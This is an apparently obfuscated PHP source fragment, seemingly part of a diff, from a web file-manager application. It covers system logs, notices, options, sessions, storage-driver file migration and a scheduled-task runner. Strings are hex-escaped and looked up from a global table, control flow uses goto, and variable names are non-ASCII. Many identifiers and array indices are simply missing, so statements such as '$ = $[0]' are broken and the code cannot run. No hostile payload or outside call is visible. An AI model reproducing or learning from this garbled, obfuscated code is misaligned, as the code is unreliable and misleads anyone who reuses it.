$ =& $_SERVER[]; $ = parent::listData(); $ = array_filter_by_field($, $[37], 1); $ = $[0]; if ($) { $[$[6]] = json_decode($[$[6]], !0); } return $; } public function driverInfo($ט) { $ =& $_SERVER[]; $֍ = array_to_keyvalue(parent::listData(), $[401]); if (!isset($֍[$ט])) { return !1; } $ = $֍[$ט]; $[$[6]] = json_decode($[$[6]], !0); return $; } public function remove($) { $this->removeShareItems($); return parent::remove($); } public function removeWithFile($, $ۙ) { $ٺ =& $_SERVER[]; $ʙ = array($ٺ[810] => $); $޹윾 = Model($ٺ[470])->where($ʙ)->count(); $؎ = Model($ٺ[470])->where($ʙ)->sum($ٺ[80]); $އ = $ۙ . $ٺ[2123] . $; $鮢 = new TaskFileTransfer($އ, $ٺ[2119], $޹윾, LNG($ٺ[2124]) . "\50{$}\51"); $鮢->task[$ٺ[756]] = (double) $؎; $ϙ = KodIO::defaultDriver(); $ = $ϙ[$ٺ[401]]; $߲֤ = "\173\x69\x6f\72{$}\x7d\57"; $ = !0; $Ӣ = array(); $Ȍ = Model($ٺ[192])->where($ʙ)->field($ٺ[2125])->select(); foreach ($Ȍ as $ܱ) { $ϝ = $ܱ[$ٺ[78]]; $ = $߲֤ . str_replace("\x7b\151\x6f\72{$}\x7d\x2f", $ٺ[12], $ϝ); if (!IO::exist($ϝ)) { $Ӣ[] = $ܱ[$ٺ[467]]; $鮢->updateFileEnd($ܱ[$ٺ[32]], $ܱ[$ٺ[80]]); continue; } if (IO::exist($)) { $鮢->updateFileEnd($ܱ[$ٺ[32]], $ܱ[$ٺ[80]]); continue; } if (!IO::move($ϝ, get_path_father($))) { $ = !1; break; } $ʙ = array($ٺ[467] => $ܱ[$ٺ[467]]); $򆲴 = array($ٺ[810] => $, $ٺ[78] => $); Model($ٺ[192])->where($ʙ)->save($򆲴); } $this->removeByFileID($Ӣ); if (!$) { $鮢->stop($އ); return !1; } $鮢->end(); if ($ۙ == $ٺ[1779]) { $this->remove($); } } public function progress($բ, $ʔ) { return Task::get($ʔ . $_SERVER[][2123] . $բ); } private function removeByFileID($ެ = array()) { $ـ =& $_SERVER[]; if (empty($ެ)) { return; } $Ä = array($ـ[467] => array($ـ[7], $ެ)); $̖ = Model($ـ[1312])->where($Ä)->field($ـ[403])->select(); if (!$̖) { return; } $̖ = array_to_keyvalue($̖, $ـ[12], $ـ[403]); foreach ($̖ as $Ś) { Model($ـ[417])->removeNow($Ś, !1); } } private function removeShareItems($ӿ۪) { $ =& $_SERVER[]; $ = "\x7b\151\157\72{$ӿ۪}\x7d\57"; $ = array($[403] => 0, $[1161] => array($[378], "{$}\45")); $Ԉ = Model($[1790])->where($)->field($[488])->select(); if (empty($Ԉ)) { return; } $ = array_to_keyvalue($Ԉ, $[12], $[488]); Model($[595])->remove($); } } class SystemLightAppModel extends ModelBaseLight { public $optionType = "\123\171\x73\x74\x65\x6d\x2e\114\x69\x67\150\164\101\160\x70"; public $modelType = "\123\171\163\164\145\155\x4f\x70\x74\151\157\x6e"; public $field = array("\156\141\155\x65", "\x67\162\157\165\160", "\x64\x65\x73\143", "\143\157\x6e\x74\145\x6e\x74"); public function listData($̶ = false, $˾ = "\x6d\x6f\x64\151\146\171\x54\151\155\x65", $냆 = true) { return parent::listData($̶, $˾, $냆); } public function remove($) { $¹ = $this->findByName($); if (!$¹) { return !1; } return parent::remove($¹[$_SERVER[][401]]); } public function add($) { if ($this->findByName($[$_SERVER[][32]])) { return !1; } return parent::insert($); } public function update($, $) { $ʝ =& $_SERVER[]; $ = $this->findByName($); $ކ = $this->findByName($[$ʝ[32]]); if (!$ || $ކ && $ކ[$ʝ[401]] != $[$ʝ[401]]) { return !1; } return parent::update($[$ʝ[401]], $); } } class SystemLogModel extends ModelBase { protected $tableName = "\163\171\163\164\x65\x6d\x5f\x6c\x6f\x67"; protected $dataAuto = array(array("\143\162\x65\x61\x74\145\x54\x69\x6d\x65", "\x74\151\x6d\145", "\151\x6e\163\x65\x72\164", "\x66\165\156\143\x74\151\x6f\x6e")); public $typeList; function __construct() { parent::__construct(); $this->typeList = $this->typeListAll(); } public function typeListAll() { $ =& $_SERVER[]; return array($[2126] => LNG($[2127]), $[2128] => LNG($[2129]), $[1753] => LNG($[2130]), $[2131] => LNG($[2132]), $[2133] => LNG($[2134]), $[2135] => LNG($[2136]), $[2137] => LNG($[2138]), $[1783] => LNG($[2138]), $[1784] => LNG($[2139]), $[2140] => LNG($[2141]), $[2142] => LNG($[2143]), $[2144] => LNG($[2145]), $[2146] => LNG($[2147]), $[1781] => LNG($[2148]), $[2149] => LNG($[2150]), $[1788] => LNG($[2151]), $[2152] => LNG($[2153]), $[2154] => LNG($[2155]), $[2156] => LNG($[2157]), $[2158] => LNG($[2159]), $[1791] => LNG($[2160]), $[1792] => LNG($[2161]), $[2162] => LNG($[2163]), $[2164] => LNG($[2165]), $[2166] => LNG($[2167]), $[1786] => LNG($[2168]), $[2169] => LNG($[2170]), $[1785] => LNG($[2171]), $[2172] => LNG($[2173]), $[2174] => LNG($[2175]), $[2176] => LNG($[2177]), $[2178] => LNG($[2178]), $[2179] => LNG($[1757]), $[2180] => LNG($[2181]), $[2182] => LNG($[2183]), $[2184] => LNG($[2185]), $[2186] => LNG($[2187]), $[2188] => LNG($[2189]), $[2190] => LNG($[2190]), $[2191] => LNG($[2192]), $[2193] => LNG($[2194]), $[2195] => LNG($[2196]), $[2197] => LNG($[2198]), $[2199] => LNG($[2200]), $[2201] => LNG($[2202])); } private function typeFile() { $Ǵ =& $_SERVER[]; $ = array($Ǵ[1788] => array($Ǵ[1789]), $Ǵ[2144] => array($Ǵ[2203]), $Ǵ[2146] => array($Ǵ[2204]), $Ǵ[1781] => array($Ǵ[1782]), $Ǵ[2154] => array(), $Ǵ[2156] => array(), $Ǵ[2158] => array(), $Ǵ[1791] => array($Ǵ[1793]), $Ǵ[1792] => array($Ǵ[1793]), $Ǵ[2162] => array($Ǵ[2205]), $Ǵ[2164] => array($Ǵ[2205]), $Ǵ[2166] => array($Ǵ[2206]), $Ǵ[2152] => array($Ǵ[2207]), $Ǵ[1786] => array($Ǵ[2208]), $Ǵ[2169] => array($Ǵ[2209]), $Ǵ[1785] => array($Ǵ[1787])); return $; } private function typeAll() { $ǀ =& $_SERVER[]; $ = $this->typeList; $ = array_filter($this->typeFile()); foreach ($ as $ϖ => $՛) { $[$՛[0]] = $[$ϖ]; } $[$ǀ[1793]] = LNG($ǀ[2210]); $[$ǀ[2205]] = LNG($ǀ[2211]); return $; } public function addLog($Ǚ, $Ț = array()) { $ǥ =& $_SERVER[]; if (!isset($this->typeList[$Ǚ])) { return; } $ғ = defined($ǥ[474]) && USER_ID ? USER_ID : (isset($Ț[$ǥ[1642]]) ? $Ț[$ǥ[1642]] : 0); if (!$ғ) { $ғ = (int) Session::get($ǥ[1942]); } $ޢ = get_client_ip(); if (!$Ț || strlen(json_encode($Ț)) >= 1024) { $Ț = array($ǥ[2212] => $ޢ); } else { if (is_array($Ț)) { $Ț[$ǥ[2212]] = $ޢ; } else { $Ț = array($ǥ[1178] => $Ț, $ǥ[2212] => $ޢ); } } $Ț = array($ǥ[1632] => Session::sign(), $ǥ[1633] => $ғ, $ǥ[33] => $Ǚ, $ǥ[1635] => json_encode($Ț)); parent::add($Ț); } public function remove($ڷ) { $this->where(array($_SERVER[][420] => $ڷ))->delete(); } private function _makeOrder($亇 = '') { $ =& $_SERVER[]; $跏 = $[193]; $ = array($[448] => $[449], $[450] => $[451]); $ϒ = Input::get($[456], $[7], $[1974], array($[1900], $[450])); $ϒ = $[$ϒ]; $亇 = $亇 . "{$跏}\x20{$ϒ}"; return $this->order($亇); } public function get($䫖 = '') { $ݝ =& $_SERVER[]; if (!$䫖) { show_json(array()); } $ = array(); if ($䫖[$ݝ[1642]]) { $[$ݝ[1642]] = $䫖[$ݝ[1642]]; } if (isset($䫖[$ݝ[754]])) { $ = $䫖[$ݝ[754]]; $ = isset($䫖[$ݝ[496]]) ? $䫖[$ݝ[496]] : time(); $[$ݝ[193]] = array($ݝ[328], array($, $)); } if ($䫖[$ݝ[33]]) { $ = explode($ݝ[50], $䫖[$ݝ[33]]); $ = $this->typeFile(); $Ѥʭ = array(); foreach ($ as $) { $Ѥʭ[] = $; if (isset($[$])) { $Ѥʭ = array_merge($Ѥʭ, $[$]); } } $Ѥʭ = array_unique($Ѥʭ); if ($Ѥʭ) { $[$ݝ[33]] = array($ݝ[7], $Ѥʭ); } } else { $[$ݝ[33]] = array($ݝ[2213], $ݝ[2214]); } if (!empty($䫖[$ݝ[2212]])) { $[$ݝ[451]] = array($ݝ[378], "\45{$䫖[$ݝ[2212]]}\45"); } $ = $this->_makeOrder()->where($)->selectPage(); if (empty($[$ݝ[364]])) { show_json(array(), !0, $[$ݝ[361]]); } $[$ݝ[364]] = $this->logList($[$ݝ[364]]); return $; } private function ipAddress(&$ɔ) { $ =& $_SERVER[]; if (!empty($ɔ[$[2212]])) { $ = IpLocation::get($ɔ[$[2212]]); } else { $ = LNG($[2215]); } $ɔ[$[2216]] = $; } private function descZipDownload($˺Ӌ, &$ۊČ) { $ҽ =& $_SERVER[]; if (!isset($˺Ӌ[$ҽ[2217]])) { return; } $ = json_decode($˺Ӌ[$ҽ[2217]], !0); foreach ($ as $) { try { $ = IO::infoFull($[$ҽ[78]]); } catch (Exception $띣) { continue; } $˺Ӌ[$ҽ[78]] = $[$ҽ[78]]; $ۊČ[] = $˺Ӌ[$ҽ[403]] = $[$ҽ[403]]; $ۊČ[] = $˺Ӌ[$ҽ[2028]] = $[$ҽ[498]]; break; } return $˺Ӌ; } private function getSourceList(&$Ɗ) { $ =& $_SERVER[]; $Ę = array(); foreach ($Ɗ as $ݫ => $ٵژ) { $ = json_decode($ٵژ[$[451]], !0); if ($ٵژ[$[33]] == $[1784]) { $ = $this->descZipDownload($, $Ę); $Ɗ[$ݫ][$[451]] = json_encode($); continue; } if (strpos($ٵژ[$[33]], $[2030]) !== 0) { if (!isset($[$[78]]) || strpos($ٵژ[$[33]], $[2218]) !== 0) { continue; } try { $砱 = IO::infoFull($[$[78]]); } catch (Exception $) { continue; } $Ę[] = $[$[403]] = $砱[$[403]]; $Ę[] = $[$[2028]] = $砱[$[498]]; $Ɗ[$ݫ][$[451]] = json_encode($); continue; } $Ę[] = $[$[403]]; $Ę[] = $[$[2028]]; if ($[$[33]] == $[551]) { $Ę[] = $[$[451]][$[1145]]; $Ę[] = $[$[451]][$[1146]]; } if ($[$[33]] == $[2037]) { $Ę[] = $[$[451]][$[403]]; } } if (!$Ę) { return array(); } return Model($[818])->sourceListInfo($Ę, !0); } private function logList($۶ʪ) { $ =& $_SERVER[]; $ = array_to_keyvalue($۶ʪ, $[12], $[1642]); $ = Model($[538])->userListInfo(array_unique($)); $ = $this->getSourceList($۶ʪ); $ = $this->typeAll(); $ٯ = array(); $֤ = array(); foreach ($۶ʪ as $߶ => $̲) { $ = $̲[$[33]]; $ٕ = isset($[$̲[$[1642]]]) ? $[$̲[$[1642]]] : !1; $߳ = strpos($, $[2219]) === 0 ? LNG($[2220]) : LNG($[2215]); $̲[$[32]] = isset($ٕ[$[32]]) ? $ٕ[$[32]] : LNG($[2215]); $̲[$[2078]] = isset($ٕ[$[2078]]) ? $ٕ[$[2078]] : $[12]; $̲[$[1539]] = isset($[$]) ? $[$] : $߳; $̲[$[1973]] = $ٕ; $ƣ = json_decode($̲[$[451]], !0); $̲[$[2212]] = isset($ƣ[$[2212]]) ? $ƣ[$[2212]] : $[12]; $̲[$[2216]] = IpLocation::get($̲[$[2212]]); if (strpos($, $[2030]) === 0 || isset($ƣ[$[2028]])) { $ƣ[$[87]] = $[$ƣ[$[403]]]; $ƣ[$[2042]] = $[$ƣ[$[2028]]]; if ($ƣ[$[33]] == $[551]) { $ƣ[$[451]][$[1145]] = $[$ƣ[$[451]][$[1145]]]; $ƣ[$[451]][$[1146]] = $[$ƣ[$[451]][$[1146]]]; } if ($ƣ[$[33]] == $[2037]) { $ƣ[$[451]][$[403]] = $[$ƣ[$[451]][$[403]]]; } if ($ƣ[$[33]] == $[1779]) { $ƣ[$[2042]] = $ƣ[$[87]]; $ƣ[$[2028]] = $ƣ[$[2042]][$[403]]; $ƣ[$[87]] = !1; $ƣ[$[403]] = $[12]; } if ($ƣ[$[87]] && $ƣ[$[87]][$[412]] == $[1261]) { $֤[] = $̲[$[401]]; unset($۶ʪ[$߶]); continue; } if ($ƣ[$[2042]] && $ƣ[$[2042]][$[412]] == $[1261]) { $֤[] = $̲[$[401]]; unset($۶ʪ[$߶]); continue; } } $̲[$[451]] = $ƣ; unset($̲[$[2221]]); $ٯ[] = $̲; } $this->clearSystemPathLog($֤); return $ٯ; } private function clearSystemPathLog($Ҍ) { $㑵 =& $_SERVER[]; if (count($Ҍ) == 0) { return; } $Ц = array($㑵[401] => array($㑵[7], array_unique($Ҍ))); $this->where($Ц)->delete(); } public function deviceList($, $٥ = 0) { $ =& $_SERVER[]; $Ě = array($[1642] => $, $[193] => array($[1001], $٥), $[33] => $[1753]); $ = array(); $ä = $this->field($[2222])->where($Ě)->order($[2040])->limit(50)->select(); foreach ($ä as $蘩 => $) { if ($蘩 > 0 && abs($[$[193]] - $ä[$蘩 - 1][$[193]]) < 5) { continue; } $ = json_decode($[$[451]], !0); $[$[2212]] = isset($[$[2212]]) ? $[$[2212]] : $[12]; unset($[$[2212]]); $ = $this->deviceType($[$[2031]]); if (isset($[$])) { continue; } $[$[2216]] = IpLocation::get($[$[2212]]); $[$[451]] = $; $[$] = $; } return array_values($); } public function deviceType($šƣ) { return $šƣ; } } goto b; b: class SystemNoticeModel extends ModelBaseLight { public $optionType = "\123\171\x73\x74\145\155\x2e\156\157\x74\151\143\145\114\x69\x73\x74"; public $field = array("\x6e\141\x6d\145", "\x63\x6f\156\x74\x65\x6e\x74", "\x61\x75\164\150", "\155\x6f\144\145", "\164\x69\x6d\x65", "\164\x79\x70\x65", "\x6c\x65\x76\145\154", "\x65\x6e\141\x62\x6c\x65", "\163\x6f\x72\164"); public function listData($ = false, $Ƥ = "\x73\x6f\162\x74", $ = false) { return parent::listData($, $Ƥ, $); } public function add($) { $ؿߒ =& $_SERVER[]; $޸ = time(); if ($[$ؿߒ[16]] == $ؿߒ[2223]) { $޸ = strtotime($[$ؿߒ[196]]); } $[$ؿߒ[196]] = $޸; return parent::insert($); } public function update($Ƙך, $ַ) { $ =& $_SERVER[]; $Τ = $this->listData($Ƙך); if (!$Τ) { return !1; } $ܴ = time(); if ($ַ[$[16]] == $[2223]) { $ܴ = strtotime($ַ[$[196]]); } $ַ[$[196]] = $ܴ; return parent::update($Ƙך, $ַ); } public function remove($й) { $׉ = $this->listData($й); if (!$׉ || $׉[$_SERVER[][1261]]) { return !1; } return parent::remove($й); } public function sort($켇, $Ǐ) { return parent::update($켇, $Ǐ); } public function enable($֕, $ؼ) { return parent::update($֕, array($_SERVER[][2224] => $ؼ)); } private function initUserOption() { $ =& $_SERVER[]; $this->optionType = $[2225]; $this->modelType = $[2226]; $this->field = array($[2227], $[32], $[196], $[33], $[2228], $[743], $[188]); } public function userNoticeGet($ = false) { $this->initUserOption(); return parent::listData($, $_SERVER[][401], !0); } public function userNoticeAdd($ܣ) { $݅־ =& $_SERVER[]; $this->initUserOption(); $扤 = $this->findByKey($݅־[2227], $ܣ[$݅־[401]]); if ($扤) { return !0; } $ = array($݅־[2227] => $ܣ[$݅־[401]], $݅־[32] => $ܣ[$݅־[32]], $݅־[196] => $ܣ[$݅־[196]], $݅־[33] => isset($ܣ[$݅־[33]]) ? $ܣ[$݅־[33]] : 1, $݅־[2228] => isset($ܣ[$݅־[2228]]) ? $ܣ[$݅־[2228]] : 0, $݅־[743] => 0, $݅־[188] => 0); return parent::insert($); } public function userNoticeEdit($, $դ) { $this->initUserOption(); return parent::update($, $դ); } } class SystemOptionModel extends ModelBaseOption { protected $tableName = "\x73\171\x73\164\145\x6d\x5f\x6f\160\164\x69\x6f\156"; protected $jsonField = array("\x6d\x65\x6e\x75", "\x72\157\154\x65", "\x72\x6f\x6c\145\x47\x72\157\x75\x70", "\162\x65\147\x69\x73\x74", "\145\x6d\x61\151\x6c"); function __construct() { parent::__construct(); } protected function cacheKey($֍) { return "\123\x79\163\x74\145\155\x4f\x70\x74\x69\157\x6e\137{$֍}"; } protected function optionDefault($葾 = '') { $ =& $_SERVER[]; if ($葾 == $[12]) { return $GLOBALS[$[6]][$[376]]; } } } class SystemRecordModel extends ModelBaseLight { } goto eӂ; BɆ̏: function binCheckBigger($, $) { return $ > $; } $_SERVER[$_SERVER[䌖][3]] = ("\x37\x39\x39\x30"."\71\62")+0;$_u02o="woxpqr7cnf08islh2jtd6z3bke5v1g4ayum91jrax2c0v9yli7mqgfdh4bzkupto368nw5se07w9j5";; class ClassBaseCall { protected static $_methodListStatic = array(); protected static $_methodList = array(); public function __call($, $) { $٥ =& $_SERVER[]; if (isset(self::$_methodList[$])) { return @call_user_func_array(self::$_methodList[$], $); } else { if (method_exists($this, $)) { return call_user_func_array(array($this, $), $); } else { think_exception(__CLASS__ . $٥[4] . $ . $٥[5]); } } } public static function __callStatic($ـ, $) { if (isset(self::$_methodListStatic[$ـ])) { return call_user_func_array(self::$_methodListStatic[$ـ], $); } else { if (method_exists(self, $ـ)) { return call_user_func_array(array(self, $ـ), $); } else { show_json("{$ـ}\x28\51\40\x6e\x6f\164\x20\145\170\x69\163\164\73", !1); } } } public static function addMethod($旼, $òͅ) { self::$_methodList[$旼] = $òͅ; } public static function addMethodStatic($, $ǜ) { self::$_methodListStatic[$] = $ǜ; } } goto d; a…: class UserTagSourceModel extends ModelBase { protected $tableName = "\165\163\x65\162\137\x66\141\166"; protected function cacheFunctionAlias($) { $ =& $_SERVER[]; return array($[1918] => array(USER_ID, $[1919])); } protected function listData() { $ո =& $_SERVER[]; $ = array($ո[1633] => USER_ID, $ո[483] => array($ո[1922], 0)); $ݫϞ = $ո[1924]; $ = $this->field($ݫϞ)->where($)->order($ո[1925])->select(); return $ ? $ : array(); } protected function listByTag($⩺ݵ) { } protected function addToTag($, $տӥ) { $⚇ =& $_SERVER[]; if (!Model($⚇[2059])->listData($տӥ) || !Model($⚇[818])->pathInfo($)) { return !1; } $ = array($⚇[1633] => USER_ID, $⚇[483] => $տӥ, $⚇[422] => $, $⚇[423] => $⚇[417], $⚇[421] => $⚇[12], $⚇[1814] => 0); if ($this->where($)->find()) { return !1; } return $this->add($); } protected function removeFromTag($ة, $Μ) { $ժ =& $_SERVER[]; if (!Model($ժ[2059])->listData($Μ)) { return !1; } if (is_array($ة)) { $ة = array($ժ[7], $ة); } $܅ = array($ժ[1633] => USER_ID, $ժ[483] => $Μ, $ժ[423] => $ժ[417], $ժ[422] => $ة); return $this->where($܅)->delete(); } protected function removeByTag($) { $҈ =& $_SERVER[]; if (!$) { return !1; } $ = array($҈[1633] => USER_ID, $҈[483] => $); return $this->where($)->delete(); } protected function removeBySource($) { $ =& $_SERVER[]; if (is_array($)) { $ = array($[7], $); } $ۿ = array($[1633] => USER_ID, $[422] => $, $[483] => array($[1001], 0)); return $this->where($ۿ)->delete(); } } \ No newline at end of file + goto D; bڱ: class Session { public static $sessionTime; public static $sessionSign; public static $handle; public static $data; public static function init() { $ =& $_SERVER[Ǿ]; static $ = false; if ($) { return $; } $ = $GLOBALS[$[16]][$[353]]; self::$sessionTime = $[$[1596]]; $ֻ = isset($GLOBALS[$[1597]]) ? $GLOBALS[$[1597]] : SESSION_ID; if (self::$sessionSign) { } else { if (Cookie::get($ֻ)) { self::$sessionSign = Cookie::get($ֻ); } else { self::$sessionSign = guid(); } } Cookie::setSafe($ֻ, self::$sessionSign, self::$sessionTime); $Ո = $[$[1598]]; $Яޙ = $[$Ո]; $ќ = $[$[820]]; switch ($Ո) { case $[31]: self::$handle = Model($[821]); break; case $[822]: self::$handle = new CacheRedis($Яޙ, $ќ); break; case $[823]: self::$handle = new CacheMemcached($Яޙ, $ќ); break; case $[202]: $Яޙ[$[88]] = $Яޙ[$[88]] . $[1599]; self::$handle = new CacheFile($Яޙ, $ќ); default: break; } if (!self::$data) { self::$data = self::getBySign(self::$sessionSign); } $ = new self(); return $; } public static function getBySign($ř) { CacheLock::lock($ř); $Ͳ = self::$handle->get($ř); CacheLock::unlock($ř); $Ͳ = unserialize($Ͳ); return is_array($Ͳ) ? $Ͳ : array(); } public static function setBySign($ܶ, $Ӳ) { CacheLock::lock($ܶ); self::$handle->set($ܶ, serialize($Ӳ), self::$sessionTime); CacheLock::unlock($ܶ); } public static function sign($ = false) { $ && (self::$sessionSign = $); self::init(); return self::$sessionSign; } public static function set($ܐҍ, $ʸÅ = false) { self::init(); if (is_array($ܐҍ)) { foreach ($ܐҍ as $Õ => $Ë) { array_set_value(self::$data, $Õ, $Ë); } } else { array_set_value(self::$data, $ܐҍ, $ʸÅ); } self::setBySign(self::$sessionSign, self::$data); } public static function get($ʑ = false) { self::init(); if (!$ʑ) { return self::$data; } return array_get_value(self::$data, $ʑ); } public static function remove($Ă) { self::init(); unset(self::$data[$Ă]); self::$handle->set(self::$sessionSign, serialize(self::$data), self::$sessionTime); } public static function destory() { Cookie::remove(SESSION_ID, !0); self::init(); self::clearTimeout(); self::$data = array(); return self::$handle->remove(self::$sessionSign); } public static function clearTimeout() { self::init(); if (method_exists(self::$handle, $_SERVER[Ǿ][825])) { self::$handle->clearTimeout(); } } } class AutoTask { const AUTO_DELAY_TIME = 2; const AUTO_RESTART_TIME = 7200; public static function start() { $ =& $_SERVER[Ǿ]; if (self::valueGet($[742]) != $[99]) { return; } if (self::valueGet($[1600]) == $[99]) { $ߧ = self::valueGet($[1601]); if (time() - $ߧ > self::AUTO_RESTART_TIME) { self::restart(); } return; } http_close(); self::valueSet($[1600], $[99]); self::log($[1602]); Hook::bind($[1603], $[1604]); $߿ = 0; while (!0) { self::cacheClear(); if (self::valueGet($[742]) != $[99]) { self::valueSet($[1600], $[200]); self::log($[1605]); die; } $ = time(); if ($ - $߿ >= 60) { self::valueSet(array($[1600] => $[99], $[1601] => $), !1); $߿ = $; } if (!file_exists(USER_SYSTEM . $[1606])) { self::valueSet(array($[1600] => $[200], $[742] => $[200]), !1); self::log($[1607]); die; } self::taskRunAll(); sleep(self::AUTO_DELAY_TIME); } } public static function restart() { $ڴ =& $_SERVER[Ǿ]; http_close(); self::valueSet($ڴ[742], $ڴ[200]); sleep(self::AUTO_DELAY_TIME + 5); self::valueSet(array($ڴ[1600] => $ڴ[200], $ڴ[742] => $ڴ[99]), !1); } public static function shutdownEvent() { $ =& $_SERVER[Ǿ]; self::valueSet($[1600], $[200]); self::log($[1608]); } public static function config($, $) { self::valueSet($_SERVER[Ǿ][742], $); } private static function taskRunAll() { $Н =& $_SERVER[Ǿ]; $Ի = timeFloat(); $땗 = Model($Н[1609])->listData(); $ = count($땗); for ($́ = 0; $́ < $; $́++) { $ːׇ = $땗[$́]; if (!$ːׇ[$Н[401]] || $ːׇ[$Н[1610]] != $Н[99]) { continue; } if (!self::taskTimeCheck($ːׇ)) { continue; } self::taskRun($ːׇ); } Hook::trigger($Н[1611]); self::taskQueueRun($Ի); } private static function taskQueueRun($) { $ = 10; while (!0) { $ = TaskQueue::run(); if ($ === !1) { break; } if (timeFloat() - $ >= $) { break; } } } private static function taskTimeCheck($ۗ) { $ł =& $_SERVER[Ǿ]; $ɞ = json_decode($ۗ[$ł[206]], !0); $ƟЧ = intval($ۗ[$ł[1601]]); $ = strtotime($ł[1612] . $ɞ[$ł[1613]] . $ł[1614]) - strtotime($ł[1615]); $㇊ = time() - strtotime(date($ł[1616]) . $ł[1617]); $ = $㇊ >= $ && $㇊ <= $ + 3600; switch ($ɞ[$ł[43]]) { case $ł[1618]: if (time() - $ƟЧ < 3600 * 24 * 30) { return !1; } if ($ɞ[$ł[1618]] == date($ł[1619]) && $) { return !0; } break; case $ł[1620]: if (time() - $ƟЧ < 3600 * 24 * 7) { return !1; } $č̗ = date($ł[1621]) == 0 ? 7 : date($ł[1621]); if ($ɞ[$ł[1620]] == $č̗ && $) { return !0; } break; case $ł[1613]: if (time() - $ƟЧ < 3600 * 24) { return !1; } if ($) { return !0; } break; case $ł[1622]: if (time() - $ƟЧ >= floatval($ɞ[$ł[1622]]) * 60) { return !0; } break; default: break; } return !1; } private static function closeDatabase() { $Ÿз =& $_SERVER[Ǿ]; static $ = 0; $漡 = 300; if (!$) { $ = time(); } if (time() - $ < $漡) { return; } $ = time(); $ = Model($Ÿз[513])->db($Ÿз[22]); if ($) { $->closeConnect(); } if (time() - TIME > 3600 * 24 * 3) { self::log($Ÿз[1623], $Ÿз[1624]); die; } } public static function taskRun($ٛ) { $ =& $_SERVER[Ǿ]; self::log($[1625] . $ٛ[$[401]] . $[1626] . $ٛ[$[42]] . $[1627] . $ٛ[$[1628]]); Model($[1609])->run($ٛ[$[401]]); $ = timeFloat(); $ҍ = $[22]; switch ($ٛ[$[43]]) { case $[311]: $߭ = url_request($ٛ[$[1628]], $[235], !1, !1, !1, !1, 10); if ($߭[$[742]]) { $ҍ = strlen($߭[$[1176]]); } break; case $[234]: $ҍ = Hook::apply($ٛ[$[1628]]); default: break; } Model($[1629])->add(array($[1630] => $[22], $[1631] => $[200], $[43] => $[1632] . $ٛ[$[401]], $[1633] => json_encode(array($[42] => $ٛ[$[42]], $[1634] => timeFloat() - $, $[297] => $ҍ)))); $ = $ҍ ? $[1635] . $ҍ : $[22]; self::log($[1636] . $ٛ[$[401]] . $[536] . $); return !0; } private static function valueGet($ْ) { $ƕؼ =& $_SERVER[Ǿ]; $Ŧ֛ = $ƕؼ[1637]; $ = Model($ƕؼ[433])->get($ْ, $Ŧ֛); if (is_null($)) { Model($ƕؼ[433])->set($ƕؼ[742], $ƕؼ[99], $Ŧ֛); Model($ƕؼ[433])->set($ƕؼ[1600], $ƕؼ[200], $Ŧ֛); $ = Model($ƕؼ[433])->get($ْ, $Ŧ֛); } return $; } private static function valueSet($ù筸, $) { $ =& $_SERVER[Ǿ]; $ = $[1638]; CacheLock::lock($); $뻴 = Model($[433])->set($ù筸, $, $[1637]); CacheLock::unlock($); return $뻴; } protected static function log($͠) { write_log($͠, $_SERVER[Ǿ][1624]); } private static function cacheClear() { $ݜ =& $_SERVER[Ǿ]; Cache::clearMemory(Model($ݜ[433])->cacheKey($ݜ[1637])); Cache::clearMemory(Model($ݜ[433])->cacheKey($ݜ[1639])); Model($ݜ[1609])->cacheClear(); self::closeDatabase(); } } class Task { const STATYS_STOP = "\x73\164\157\160"; const STATYS_RUNNING = "\x72\165\156\x6e\x69\x6e\147"; const STATYS_KILL = "\153\151\x6c\x6c"; public $task; public function __destruct() { $this->end(); } public function __construct($БӪ, $ܝ = '', $Є = 0, $Ԕ = '') { $尴 =& $_SERVER[Ǿ]; if (self::get($БӪ)) { return; } $this->task = array($尴[401] => $БӪ, $尴[1640] => USER_ID, $尴[1540] => $Ԕ, $尴[43] => $ܝ, $尴[1049] => $尴[22], $尴[778] => $Є, $尴[1641] => 0, $尴[1642] => 0, $尴[1643] => 0, $尴[1644] => timeFloat(), $尴[1645] => 0, $尴[1646] => 0, $尴[1647] => 0, $尴[1648] => 0, $尴[742] => $尴[1600]); $GLOBALS[$尴[1649]] = 1; Hook::bind($尴[1603], array($this, $尴[1650])); Hook::bind($尴[1651], array($this, $尴[1652])); $this->startAfter(); Hook::trigger($尴[1653], $this->task); $this->task[$尴[1646]] = timeFloat(); } public function end() { $ =& $_SERVER[Ǿ]; if (!$this->task) { return; } if ($this->task[$[1646]]) { self::valueSet($this->task[$[401]], !1); } $뺃 = timeFloat() - $this->task[$[1644]]; self::log($[1654] . $this->task[$[401]] . $[1655] . $뺃 . $[1656]); Hook::unbind($[1603], array($this, $[1650])); Hook::unbind($[1651], array($this, $[1652])); $this->endAfter(); $this->task = !1; } public function update($ = 0, $ɿ = false) { $ =& $_SERVER[Ǿ]; $␋ɝ =& $this->task; if (!$␋ɝ) { return; } $␋ɝ[$[1641]] += $; $␋ɝ[$[1645]] = timeFloat(); if ($␋ɝ[$[778]]) { if ($␋ɝ[$[778]] < $␋ɝ[$[1641]]) { $␋ɝ[$[778]] = $␋ɝ[$[1641]]; } $Ǯի = timeFloat() - $␋ɝ[$[1644]] - $␋ɝ[$[1647]]; $␋ɝ[$[1642]] = $␋ɝ[$[1641]] / $␋ɝ[$[778]]; $␋ɝ[$[1643]] = $␋ɝ[$[1641]] / $Ǯի; if ($␋ɝ[$[1642]] > 0) { $␋ɝ[$[1648]] = $Ǯի * (1 - $␋ɝ[$[1642]]) / $␋ɝ[$[1642]]; } $␋ɝ[$[1648]] = $␋ɝ[$[1648]] <= 0 ? 0 : $␋ɝ[$[1648]]; } $this->updateAfter(); $Ϩ = 0.2; if (timeFloat() - $␋ɝ[$[1646]] < $Ϩ && !$ɿ) { return; } $Ğ = self::get($␋ɝ[$[401]]); $ = $Ğ[$[742]]; if ($ == self::STATYS_KILL) { $ = array($[1657] => LNG($[1658]), $[1174] => !1); Cache::set($[1659] . $this->task[$[401]], $, 30); $this->onKill(); $this->end(); die; } else { if ($ == self::STATYS_STOP) { $˵ = 2; $Ğ[$[1647]] += $˵; self::valueSet($␋ɝ[$[401]], $Ğ); sleep($˵); $this->update(); return; } } $␋ɝ[$[742]] = $ ? $ : $␋ɝ[$[742]]; $␋ɝ[$[1647]] = $Ğ[$[1647]] ? $Ğ[$[1647]] : 0; $␋ɝ[$[1646]] = timeFloat(); Hook::trigger($[1660], $␋ɝ); self::valueSet($␋ɝ[$[401]], $␋ɝ); } public function onKillSet($ਣ, $ = array()) { $this->onKillCall = array($ਣ, $); } public function onKill() { $ =& $_SERVER[Ǿ]; self::log($[1654] . 